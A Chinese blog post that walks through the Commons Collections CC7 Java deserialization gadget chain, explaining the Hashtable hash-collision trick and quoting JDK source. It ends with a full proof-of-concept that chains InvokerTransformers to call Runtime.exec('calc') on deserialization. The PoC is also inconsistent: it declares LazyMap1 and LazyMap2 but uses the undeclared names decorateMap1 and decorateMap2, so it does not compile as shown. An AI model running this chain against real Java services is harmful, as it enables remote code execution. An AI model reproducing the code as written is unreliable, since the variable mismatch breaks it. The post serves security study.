Java反序列化CommonsCollections篇-CC7

前言

CC7本质上也是对CC1的改写,走到了万恶之源LazyMap最终导致反序列化。

CC7

前置知识

HashTable

散列函数(哈希函数)中心思想:

  • 不同参数返回不同哈希值
  • 相同参数返回相同哈希值

比如我输入葡萄返回10,输入西瓜返回3,下次输入西瓜还是返回3

(传入不同参数时,哈希值一定都不相同么?事实上任何算法在理论上都不能保证。这种参数不同结果相同的情况学名叫做“Hash冲突(Hash碰撞)”,CC7就利用了这个小技巧)

在遇到 hash 碰撞的时候, 会调用其中一个对象的 equals 方法来对比两个对象是否相同来判断是否真的是 hash 碰撞。 在这之中使用的是父类 AbstractMapequals() 方法。

散列函数(哈希函数)有什么意义呢?我们可以利用哈希值的特性,设计一张全新的表结构—-散列表(哈希表 HashTable)

散列表(哈希表 HashTable),是根据关键码值(Key value)而直接进行访问的数据结构。

也就是说,它通过把关键码值,映射到表中一个位置来访问记录,这个映射函数叫做 散列函数(哈希函数),存放记录的数组叫做散列表。
散列表(哈希表 HashTable)是由数组+链表实现的—-散列表底层保存在一个数组中,数组的索引由散列表的 key.hashCode()经过计算得到, 数组的值是一个链表,所有哈希碰撞到相同索引的key-value,都会被链接到这个链表后面。

image-20240603225326444

HashMap继承关系

image-20240603160518210

如上图所示HashMapAbstractMap的实现类, 同时这二者实现Map接口。

HashMap中没有实现Map接口的equals()方法,父类AbstractMapMap实现了equals()方法

LazyMap继承关系

image-20240603160438448

LazyMap是AbstractMapDecorator的实现类同时这二者实现Map接口。

LazyMap中没有实现equals()方法,父类AbstractMapDecorator实现了equals()方法

(如果一个类实现了一个接口,那么该类必须实现接口中声明的所有方法,如果一个抽象类实现了一个接口,它可以选择不实现接口的所有方法,而把实现的责任交给它的具体子类)

利用链分析

猜想作者是受了CC6的启发,既然HashMap能实现反序列化漏洞,那HashTable是否也可以?最终是形成了CC7这条链。


HashtablereadObject()调用了reconstitutionPut()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
  table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;

// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);

首先创建一个Entry,这是上文讲到的散列表中的那个数组。
s是我们传入的输入流
然后进入for循环反序列化赋值给 key,value,然后调用reconstitutionPut方法。

image-20240603155212582

继续跟进 reconstitutionPut() 方法,之后我们看到 reconstitutionPut() 方法调用了 equals() 方法—-e.key.equals(key)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}

//通过key计算一个hash值,用这个值进行计算得到index。这个index就是前面创建的Entry数组的索引。
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;

//比较哈希值e.hash是否与新键的哈希值hash相等。如果哈希值相等,再比较键 e.key 是否与新键 key 相等。如果两个条件都满足,则表示哈希表中已存在相同的键,抛出 StreamCorruptedException 异常。
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}

@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;

e.key.equals(key)其中两个key有什么不同?
e.key:这是当前哈希表(table)中某个位置(index)已存在的键。e是一个 Entry 对象,表示哈希表中一个槽位的链表中的一个节点。所以,e.key 是已经存储在哈希表中的键。
key:这是从反序列化输入流(ObjectInputStream)中读取的新键。这个键是在反序列化过程中从流中读取的,并且需要插入到哈希表中。

其中e.key可控,是因为在反序列化过程中,键和值是直接从输入流中读取的

image-20240603155307188

所以要看一下哪里有equals() 这个方法,找到了 AbstractMapDecorator 这个类中对map调用了equals()方法。

image-20240603155442086

return map.equals(object)中map是什么?这里只是AbstractMapDecorator 中定义了一个名为 map 的字段,存储对另一个 Map 对象的引用。

这个类是继承了 Map 接口,但是 Map 是一个接口,我们需要去找 Map 的实现类。

image-20240604160438813

上面最开始就说了AbstractMap实现了Map接口,并且实现了equals()方法

可以看见最终调用了m.get()方法,也就是如果m可控,则可以完成调用LazyMap.get()方法触发命令执行。在这里,m由传进来的参数o控制,也就是最初的key

image-20240604160036081

调用链

1
2
3
4
5
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get

CC7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;


import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});

HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();

Map LazyMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
decorateMap1.put("yy", 1);
Map LazyMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
decorateMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(LazyMap1, 1);
hashtable.put(LazyMap2, 2);

Class c = ChainedTransformer.class;
Field field = c.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
decorateMap2.remove("yy");

serialize(hashtable);
unserialize("ser.bin");


}


public static void serialize(Object obj) throws IOException {
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oss.writeObject(obj);

}


public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}

为什么需要创建两个HashMap

如果两个hashmap相同的话会直接在hashtable.put()的时候认为是一个元素,所以之后就不会在反序列化的时候触发equals代码

image-20240604202356973

为什么需要创建两个LazyMap

首先看HashTable.put,这里和reconstitutionPut处的代码类似,都包含了*.key.equals(key))代码。其中key是传入的LazyMaptab是全局的一个Entry,根据hashcode算出一个index,只有entry中有元素才会进入for循环,从而进一步触发

image-20240604205642784

所以可以看出,必须要两个或以上元素才能进入entry.key.equals(key))方法。类似地,反序列化的触发点reconstitutionPut处也是这样的逻辑,需要保证必须有两个或以上元素

进而可以得出的结论,能走到LazyMap.get方法的只有lazyMap2这一个对象

为什么选择zZ和yy作为key

if中的第一个条件就是e.hash == hash,意思就是两个key的hash必须相同。那为什么不把两个key设成一样的呢?这样两个key的hash绝对相等的啊。

image-20240604204417711

但是如果继续往下跟代码的话就会发现在lazymap的get方法中有以下逻辑,map的key不能重复否则就不会执行transform函数执行代码了。

image-20240604204650378

为什么Hashtable需要 put 两次

Hashtable.reconstitutionPut()方法中,第一次进入时tab内容为空,无法进入 for 循环,进而没法调用到key.equals()方法

image-20240604203934450

为了调用两次reconstitutionPut()方法,我们需要通过put()两次内容,使得 elements的值为2,进而在 for 循环里运行两次reconstitutionPut()方法

image-20240604204034934

为什么要移除第二个LazyMap中的元素

  • 为什么最后要remove("yy")

问题在AbstractMap.equals()方法里,size()的值为 1,而m.size()的值为 2,所以我们需要remove掉一个使其相等

image-20240604210421463

  • 为什么是lazyMap2.remove("yy");

Hashtable.put()方法时也会调用一次entry.key.equals(key)

image-20240604210702264

因此在hashtable.put(decorateMap2, 2);之后跟到AbstractMap().equals()方法

image-20240604221340356

这里可以看到,传入LazyMap.get(key)中的 key 为yy,继续跟进LazyMap.get()方法

image-20240604212136853

最后因为lazyMap2中并没有yy这个key,因此会执行一个map.put("yy","yy")的操作添加,所以在 POC 中,我们最后要把lazyMap2yy给删除掉。

参考链接

ysoserial CommonsCollections7 & C3P0 详细分析)

CC第7链HashTable触发点深入分析

java反序列化-ysoserial-调试分析总结篇(7)

JAVA反序列化之CommonCollections7利用链

CommonsCollections7利用链分析


Java反序列化CommonsCollections篇-CC7
https://sp4rks3.github.io/2024/06/04/JAVA安全/反序列化/CC7/
作者
Sp4rks3
发布于
2024年6月4日
许可协议